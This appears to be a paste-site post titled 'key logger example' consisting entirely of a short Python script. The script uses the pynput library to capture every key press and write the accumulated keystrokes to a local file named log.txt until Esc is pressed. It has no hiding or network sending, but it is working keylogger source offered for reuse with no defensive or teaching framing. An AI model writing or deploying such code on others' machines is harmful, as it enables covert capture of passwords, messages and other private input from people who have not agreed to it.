codecaine icon

key logger example

codecaine | PRO | 07/14/21 09:38:05 PM UTC | 0 ⭐ | 1419 👁️ | Never ⏰ | []
Python |

520 B

|

None

|

0 👍

/

0 👎

from pynput.keyboard import Key, Listener
 
keys = []
 
def on_each_key_press(key):
    keys.append(key)
    write_keys_to_file(keys)
 
 
def write_keys_to_file(keys):
    with open('log.txt', 'w') as logfile:
        for key in keys:
            key = str(key).replace("'", "")
            logfile.write(key)
 
 
def on_each_key_release(key):
    if key == Key.esc:
        return False
 
 
with Listener(
    on_press = on_each_key_press,
    on_release = on_each_key_release
    ) as listener:
    listener.join()
 

Comments